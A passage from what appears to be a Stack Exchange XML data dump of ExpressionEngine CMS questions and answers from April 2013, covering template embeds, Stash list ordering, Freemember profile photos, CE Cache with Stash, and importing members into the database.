9]&amp;gt;&#xA;        &amp;lt;script src=&quot;http://html5shim.googlecode.com/svn/trunk/html5.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;![endif]--&amp;gt;&#xA;&#xA;    &amp;lt;script src=&quot;{site_url}/js/respond.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script src=&quot;{site_url}/js/jquery-182.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script src=&quot;{site_url}/js/modernizr.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script src=&quot;{site_url}/bootstrap/js/bootstrap.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script src=&quot;{site_url}/js/page_scripts/{embed:page_script}.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&#xA;&amp;lt;body&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I am calling this from other templates as such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;embeds/html_head&quot; page_title=&quot;Company Name&quot; page_script=&quot;home&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But as mentioned page_title works but page_script doesn't. Any help is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1346" LastActivityDate="2013-04-18T12:28:10.277" Title="Passing js file parameter in embed in ExpressionEngine" Tags="|templates|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="9418" PostTypeId="2" ParentId="9382" CreationDate="2013-04-17T11:17:27.857" Score="1" Body="&lt;p&gt;You cannot use the Store checkout tag to alter member profile fields. For that, you should use Freemember or another member management plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The checkout tag will automatically load any mapped member fields, and save them when the customer submits an order, but you cannot use it to update member fields without placing an order.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-04-17T11:17:27.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9420" PostTypeId="1" AcceptedAnswerId="10065" CreationDate="2013-04-17T11:51:37.193" Score="5" ViewCount="116" Body="&lt;p&gt;I probably have a few modules installed on some of my sites that aren't being used. Simple question: will uninstalling them improve general memory usage and performance?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One module in particular that definitely isn't being used is the Comments module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jim&lt;/p&gt;&#xA;" OwnerUserId="308" LastEditorUserId="308" LastEditDate="2013-04-17T12:03:19.043" LastActivityDate="2013-05-05T11:22:04.053" Title="General question regarding installed modules and performance" Tags="|performance|addons|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9421" PostTypeId="1" CreationDate="2013-04-17T12:37:42.397" Score="1" ViewCount="85" Body="&lt;p&gt;A client wants to clean up their messy categories, but when assigning the categories to parent categories, the entries don't update. So when I want to output a list of all entries in a parent category, I might get no results if the entries wasn't originally categorized with the parent category...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize there's an answer here: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/4943/automatically-assign-parent-category-to-sub-category-entries&quot;&gt;Automatically assign parent category to sub-category entries?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that PHP-code does nothing for my entries, they're still only categorized with their original categories (which are now child-categories). Anybody got another PHP-code or an SQL-query to help me out?&lt;/p&gt;&#xA;" OwnerUserId="530" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-04-19T11:56:49.420" Title="Auto assign old entries to parent category" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9423" PostTypeId="2" ParentId="9401" CreationDate="2013-04-17T13:29:30.430" Score="2" Body="&lt;p&gt;If you don't mind using Stash, you could achieve it that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is that you output all the channel entries once, and not worry about the order.&lt;br&gt;&#xA;You 'stash' the appropriate fields inside a list, where you will retrieve it later.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;my_listing&quot; parse_tags=&quot;yes&quot;}&#xA;  {exp:channel:entries status=&quot;1|2|3&quot; ...}&#xA;    {stash:the_title}{title}{/stash:the_title}&#xA;    {stash:the_status}{status}{/stash:the_status}&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then later in your template, you would retrieve them in the appropriate order.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&#xA;{exp:stash:get_list name=&quot;my_listing&quot; match=&quot;#1#&quot; against=&quot;the_status&quot; orderby=&quot;random&quot;}&#xA;  &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&#xA;{exp:stash:get_list name=&quot;my_listing&quot; match=&quot;#2#&quot; against=&quot;the_status&quot; orderby=&quot;the_title&quot; sort=&quot;asc&quot;}&#xA;  &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&#xA;{exp:stash:get_list name=&quot;my_listing&quot; match=&quot;#3#&quot; against=&quot;the_status&quot; orderby=&quot;the_title&quot; sort=&quot;asc&quot;}&#xA;  &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;match&lt;/code&gt; and &lt;code&gt;against&lt;/code&gt; parameters allow you to retrieve a filtered version of your listing. (&lt;code&gt;match&lt;/code&gt; is a regular expression)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I've prepended the stash variables with &lt;code&gt;the_&lt;/code&gt; so you don't confuse them with the channel entries variables. They could be whatever you want.)&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-04-17T13:29:30.430" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9424" PostTypeId="2" ParentId="9401" CreationDate="2013-04-17T13:31:30.103" Score="2" Body="&lt;p&gt;You could use &lt;a href=&quot;https://github.com/croxton/Stash&quot; rel=&quot;nofollow&quot;&gt;Stash by Mark Croxton&lt;/a&gt; to accomplish that without multiple channel entries loops. Here is the kind of code I would use with the dev branch of Stash.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;mylistname&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:channel:entries status=&quot;1|2|3&quot; channel=&quot;listing&quot; orderby=&quot;random&quot; dynamic=&quot;no&quot; limit=&quot;15&quot;}&#xA;        {stash:st_title}{title}{/stash:st_title}&#xA;        {stash:st_status}{status}{/stash:st_status}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{!-- get status 1 entries randomly ordered --}&#xA;{exp:stash:get_list name=&quot;mylistname&quot; match=&quot;#^1$#&quot; against=&quot;st_status&quot;}&#xA;    {st_title}&#xA;{/exp:stash:get_list}&#xA;&#xA;{!-- get status 2 entries ordered by title asc --}&#xA;{exp:stash:get_list name=&quot;mylistname&quot; match=&quot;#^2$#&quot; against=&quot;st_status&quot; orderby=&quot;st_title&quot; sort=&quot;asc&quot;}&#xA;    {st_title}&#xA;{/exp:stash:get_list}&#xA;&#xA;{!-- get status 3 entries ordered by title asc --}&#xA;{exp:stash:get_list name=&quot;mylistname&quot; match=&quot;#^3$#&quot; against=&quot;st_status&quot; orderby=&quot;st_title&quot; sort=&quot;asc&quot;}&#xA;    {st_title}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That way you just use one channel entries loop to get all your entries in random order and build a stash list, then use multiple stash get_list to filter and order that list the way you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT see comment below.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want a paginated list of all your 10000 entries, ordered by status (all entries from status one, then all from status 2, etc.) ... but you also want the entries from status 1 to be ordered randomly and the other two ordered by title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(partial) solution 1: native tags&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can orderby status and then by title using native tags.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries status=&quot;1|2|3&quot; channel=&quot;listing&quot; orderby=&quot;status|title&quot; sort=&quot;asc|asc&quot; dynamic=&quot;no&quot; limit=&quot;15&quot;}&#xA;    {title}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The remaining problem is ordering the status 1 entries randomly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Solution 2: custom plugin&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also look at &lt;a href=&quot;http://dmlogic.com/blog/extending-the-expression-engine-channel-module/&quot; rel=&quot;nofollow&quot;&gt;extending the channel:entries module&lt;/a&gt;. Here is an article detailing the process. Obviously you will need to adapt it to your needs.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2013-04-25T12:01:24.103" LastActivityDate="2013-04-25T12:01:24.103" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9425" PostTypeId="1" CreationDate="2013-04-17T14:38:57.863" Score="1" ViewCount="239" Body="&lt;p&gt;I'm using freemember to update a member's profile, which is working great. However I now need to add member photo into the mix but I cannot figure out how to get this to work in that photos are not being uploaded. Are the any examples of an update form with member photo?&lt;/p&gt;&#xA;" OwnerUserId="1347" LastActivityDate="2013-09-14T19:41:20.833" Title="Freemember update_profile with member photo?" Tags="|freemember|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9426" PostTypeId="1" AcceptedAnswerId="9462" CreationDate="2013-04-17T15:00:36.507" Score="2" ViewCount="279" Body="&lt;p&gt;I'm having trouble getting this error resolved:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;.... is using the deprecated {child:url_title} tag. Please use Playa’s&#xA;  var_prefix parameter instead&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:parents field=&quot;artist-relationship-playa&quot; orderby=&quot;artworks-order&quot; sort=&quot;asc&quot;}&#xA;        {if &quot;{show-on-website}&quot; == &quot;y&quot;}&#xA;            &amp;lt;a href=&quot;{site_url}artists/{child:url_title}/{url_title}&quot;&amp;gt;{embed=&quot;artists/_artist-artworks-embed&quot; entry_id=&quot;{entry_id}&quot;}&amp;lt;/a&amp;gt;&#xA;        {/if}&#xA;{/exp:playa:parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code is inside a &lt;strong&gt;channel&lt;/strong&gt; tag pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I change about this code to make is work?&lt;/p&gt;&#xA;" OwnerUserId="777" LastActivityDate="2013-04-18T07:52:09.437" Title="Error - Playa’s var_prefix parameter" Tags="|playa|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9428" PostTypeId="2" ParentId="9425" CreationDate="2013-04-17T16:08:44.997" Score="1" Body="&lt;p&gt;Member profile pictures and avatars are not supported yet officially by Freemember, but there is an open pull request which adds support for this and needs some beta testers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can grab a copy of Freemember with upload support directly &lt;a href=&quot;https://github.com/expressodev/freemember/archive/avatar.zip&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, and &lt;a href=&quot;https://github.com/expressodev/freemember/pull/35&quot; rel=&quot;nofollow&quot;&gt;add any feedback or comments to the GitHub pull request&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll update this answer once this feature is released officially.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-04-17T16:08:44.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9429" PostTypeId="2" ParentId="7577" CreationDate="2013-04-17T16:17:57.210" Score="1" Body="&lt;p&gt;When you see the PayPal error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Security header is not valid&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This generally means you have PayPal set to &quot;Test Mode&quot;, but you are using a live account, or vice versa. PayPal test mode is only for when you have a PayPal developer account (which is a completely separate login/password, you cannot use it with a regular account).&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-04-17T16:17:57.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9430" PostTypeId="1" CreationDate="2013-04-17T16:52:30.107" Score="1" ViewCount="154" Body="&lt;p&gt;Not sure what the best title for this question was, so hope it makes sense!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am importing some data from an XML feed into EE via the add on Datagrab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its mostly straight forward data, so its pretty simple, but I would like to know if its possible to change the way some of it is imported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each entry in the XML feed has a range of &quot;Options&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;&amp;lt;option1&amp;gt;1&amp;lt;/option1&amp;gt;&#xA;&amp;lt;option2&amp;gt;0&amp;lt;/option2&amp;gt;&#xA;&amp;lt;option3&amp;gt;1&amp;lt;/option3&amp;gt;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whereby the value of &quot;1&quot; means yes and &quot;0&quot; means no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to import these values into a single checkbox field so it would be something like...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Option One [√]&#xA;Option Two [ ]&#xA;Option Three [√]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if this is possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would save me quite a few custom fields if it is, and will make outputting the data/creating search forms a lot easier!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="542" LastEditorUserId="542" LastEditDate="2013-04-17T22:22:26.513" LastActivityDate="2013-05-18T10:25:42.807" Title="Importing separate data into a single checkbox field?" Tags="|import|datagrab|xml|checkbox|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9431" PostTypeId="1" AcceptedAnswerId="9433" CreationDate="2013-04-17T17:32:53.570" Score="1" ViewCount="106" Body="&lt;p&gt;This is super weird. I have this channel entries loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;  channel='resources_webinars'&#xA;  dynamic='no'&#xA;  limit='5'&#xA;  disable='categores|member_data|pagination'&#xA;  orderby='webinars_date'&#xA;  sort='asc'&#xA;  search:webinars_featured='=not_featured'&#xA;}&#xA;  {if webinars_date &amp;gt; current_time}&#xA;&#xA;    {if count == 1}&#xA;      &amp;lt;div class=&quot;heading clearfix&quot;&amp;gt;&#xA;        &amp;lt;h3&amp;gt;Upcoming Webinars&amp;lt;/h3&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&amp;lt;!--/.heading--&amp;gt;&#xA;&#xA;      &amp;lt;ul class=&quot;items webinars resetlist&quot;&amp;gt;&#xA;    {/if}&#xA;&#xA;    &amp;lt;li class=&quot;clearfix&quot;&amp;gt;&#xA;      &amp;lt;article&amp;gt;&#xA;        &amp;lt;a href=&quot;{webinars_registration}&quot; class=&quot;preview&quot;&amp;gt;&#xA;          &amp;lt;figure&amp;gt;&#xA;            {exp:ce_img:single &#xA;              src='{webinars_thumb}' &#xA;              width='210' &#xA;              height='100' &#xA;              crop='yes' &#xA;              allow_scale_larger='yes' &#xA;              alt='{title} preview'&#xA;            }&#xA;          &amp;lt;/figure&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;        &amp;lt;div class=&quot;text clearfix&quot;&amp;gt;&#xA;          &amp;lt;header&amp;gt;&#xA;            &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;{webinars_registration}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;p class=&quot;sml&quot;&amp;gt;&amp;lt;strong&amp;gt;{webinars_date format='%F %j, %Y'}&amp;lt;/strong&amp;gt; / {webinars_date format='%g:%i%A'}&amp;lt;/p&amp;gt;&#xA;          &amp;lt;/header&amp;gt;&#xA;          &amp;lt;p&amp;gt;{webinars_summary}&amp;lt;/p&amp;gt;&#xA;          &amp;lt;footer&amp;gt;&#xA;            &amp;lt;a href=&quot;{webinars_registration}&quot; class=&quot;btn-ui action&quot;&amp;gt;Register&amp;lt;/a&amp;gt;&#xA;          &amp;lt;/footer&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!--/.text--&amp;gt;&#xA;      &amp;lt;/article&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&#xA;    {if count == total_results}&#xA;      &amp;lt;/ul&amp;gt;&#xA;&#xA;      {if count == 5}&#xA;        &amp;lt;p class=&quot;learn-more clearfix&quot;&amp;gt;&amp;lt;a href=&quot;{path='resources/webinars/upcoming'}&quot;&amp;gt;View All Upcoming Webinars &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;      {/if}&#xA;    {/if}&#xA;  {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It basically shows all non-featured upcoming webinars, sorted by a custom date field. What's weird is that adding &lt;code&gt;sort=&quot;asc&quot;&lt;/code&gt; causes the &lt;code&gt;{if count}&lt;/code&gt; conditionals at the top and bottom not to work, so the opening and closing &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; tags aren't output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's even weirder is that if I put &lt;code&gt;sort=&quot;desc&quot;&lt;/code&gt;, everything works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody ever seen anything like this before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.5.5&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-04-17T17:56:44.107" Title="sort=&quot;asc&quot; Breaks &quot;count&quot; Conditional" Tags="|channel-entries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9432" PostTypeId="2" ParentId="9431" CreationDate="2013-04-17T17:38:18.343" Score="3" Body="&lt;p&gt;Are you sure it's not your {if webinars_date &gt; current_time} conditional that is skipping entries?&lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2013-04-17T17:38:18.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9433" PostTypeId="2" ParentId="9431" CreationDate="2013-04-17T17:56:44.107" Score="4" Body="&lt;p&gt;Count is an absolute entry count, so your earlier conditional of {if webinars_date &gt; current_time} may be returning entries that the loop considers &quot;1&quot; but your conditional, run AFTER the returned counted entries, excludes it.  In order to use count, you'd need to narrow the entries loop with a query or a parameter to exclude entries that you don't want returned, or move the {if count == &quot;1&quot;} conditional outside of that wrapping conditional so it fires no matter what.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-04-17T17:56:44.107" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9434" PostTypeId="1" AcceptedAnswerId="9440" CreationDate="2013-04-17T18:00:50.693" Score="1" ViewCount="56" Body="&lt;p&gt;I need to create a categories with a parent/child structure as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Category Parent 1&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Parks&lt;/li&gt;&#xA;&lt;li&gt;Accommodations&lt;/li&gt;&#xA;&lt;li&gt;Dining&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Category Parent 2&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Parks&lt;/li&gt;&#xA;&lt;li&gt;Accommodations&lt;/li&gt;&#xA;&lt;li&gt;Dining&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The child categories need to be the same for each parent but EE won't allow this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way around this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2013-04-17T21:12:09.777" Title="same category urls in category group" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9435" PostTypeId="1" AcceptedAnswerId="11082" CreationDate="2013-04-17T18:45:35.160" Score="3" ViewCount="448" Body="&lt;p&gt;I'm having a hard time wrapping my head around this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Stash template partials approach, with the &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/6120/is-the-needle-haystack-method-possible-with-stash&quot;&gt;needle/haystack technique&lt;/a&gt; for replacing variables in content blocks... with CE Cache over the top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My template looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Embed view/layout --}&#xA;{stash:embed:layouts:default}&#xA;&#xA;{exp:ce_cache:it id=&quot;model&quot;}&#xA;&#xA;  {exp:channel:entries ...}&#xA;    {!-- Get video data from matrix field --}&#xA;    {cf_page_videos}&#xA;      {exp:stash:set name=&quot;video-{row_count}&quot; type=&quot;snippet&quot;}&#xA;        {mx_video}&#xA;      {/exp:stash:set}&#xA;    {/cf_page_videos}&#xA;&#xA;    {!-- Vars to go in view/layout --}&#xA;    {exp:stash:set}&#xA;&#xA;      {stash:title}{title}{/stash:title}&#xA;&#xA;      {stash:content}&#xA;        {!-- Parse this so the {video-1}, {video-2} snippets within will work --}&#xA;        {exp:stash:parse}&#xA;          {cf_page_content}&#xA;        {/exp:stash:parse}&#xA;      {/stash:content}&#xA;&#xA;    {/exp:stash:set}&#xA;  {/exp:channel:entries}&#xA;&#xA;{/exp:ce_cache:it}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My view/layout template looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_cache:it id=&quot;view&quot;}&#xA;&#xA;  &amp;lt;h1&amp;gt;{exp:stash:title}&amp;lt;/h1&amp;gt;&#xA;  {exp:stash:content}&#xA;&#xA;{/exp:ce_cache:it}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everything works just fine when CE Cache is &lt;strong&gt;disabled&lt;/strong&gt;.&lt;br&gt;&#xA;When I enable it, the 'view' cache fragment shows something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;Page Title&amp;lt;/h1&amp;gt;&#xA;&amp;lt;p&amp;gt;This is the page content&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;{video-1}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Some more content&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I change &lt;code&gt;{exp:stash:parse}&lt;/code&gt; to &lt;code&gt;{exp:stash:parse process=&quot;end&quot;}&lt;/code&gt;, then the 'view' cache fragment will look something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;Page Title&amp;lt;/h1&amp;gt;&#xA;{d534s5d782yihu542u78fdhs894sh}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know what I need to escape or modify to get this working.&lt;br&gt;&#xA;Any suggestions would be appreciated!&lt;br&gt;&#xA;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;br&gt;&#xA;The latest version of CE Cache has some Stash-related improvements.&lt;br&gt;&#xA;Updating fixed the issue but introduces a Stash bug.&lt;br&gt;&#xA;Also, I need to use &lt;code&gt;{exp:stash:parse process=&quot;end&quot;}&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get a PHP error on the first page load, but everything seems to get cached correctly and the subsequent page loads are perfect.&lt;br&gt;&#xA;I've taken this up with Mark and will post an update later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 2:&lt;/strong&gt;&lt;br&gt;&#xA;Aaron (CausingEffect) has fixed the issues in the latest version of CE Cache.&lt;br&gt;&#xA;The above code works perfectly - provided you use &lt;code&gt;{exp:stash:parse process=&quot;end&quot;}&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-06-06T22:07:54.340" Title="Stash preparse and CE Cache" Tags="|stash|ce-cache|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9436" PostTypeId="2" ParentId="9381" CreationDate="2013-04-17T18:56:55.587" Score="0" Body="&lt;p&gt;You could try importing members directly into your database. After fiddling around with Laisvunas' Social Sign On add-on &lt;a href=&quot;http://devot-ee.com/add-ons/support/social-sign-on/viewthread/7239&quot; rel=&quot;nofollow noreferrer&quot;&gt;it turns out that an e-mail being unique isn't really necessary&lt;/a&gt;. You'll have to keep &lt;em&gt;something&lt;/em&gt; unique, however, at least their username. You'll also have to bear this stuff in mind in regards to how members might be logging in... this eliminates their email address as a means of logging in as it is no longer unique.&lt;/p&gt;&#xA;&lt;p&gt;The tricky part with this is then updating other tables (see below) to match the member's new &lt;code&gt;member_id&lt;/code&gt; (in other words you wouldn't be able to just do an import, it would have to be scripted in part at least).&lt;/p&gt;&#xA;&lt;p&gt;A quick google for required fields/tables for importing members directly into your EE database (matches what I find in relative add-ons):&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://streetwise.emailstar.com/message/reply.lasso?MessageID=57&quot; rel=&quot;nofollow noreferrer&quot;&gt;I want to import my members. What is the minimum information that I need to populate in the database?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;group_id - the ID number for the member group this user belongs to&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;username&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;screen_name - can be identical to the username&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;password - can be MD5 or SHA1&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;unique_id - a random 32 character string, used for session cookies.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;ip_address&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;join_date - Unix time stamp correlated to GMT time.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;email&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;There are two additional tables that must contain a row for each member, correlated with the member_id of the member:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;exp_member_data&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;exp_member_homepage&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="61" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-04-17T18:56:55.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9437" PostTypeId="1" CreationDate="2013-04-17T19:05:35.067" Score="0" ViewCount="125" Body="&lt;p&gt;I'm new to Cartthrob and feel embarrassed to ask this, but for the life of me I just can't figure out how to get it to generate CSV reports. Under &quot;Order Report&quot; I fill in the fields and click the &quot;Generate Report&quot; or the &quot;Export CSV&quot; and each time the page just refreshes and all my selections and data are gone. What am I doing wrong? What should happen? Are the CSVs getting dumbed somewhere? If I try to enter a title it doesn't save either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be very much appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="604" LastEditorUserId="604" LastEditDate="2013-04-18T13:39:01.127" LastActivityDate="2013-04-18T13:39:01.127" Title="Cartthrob order reports not exporting" 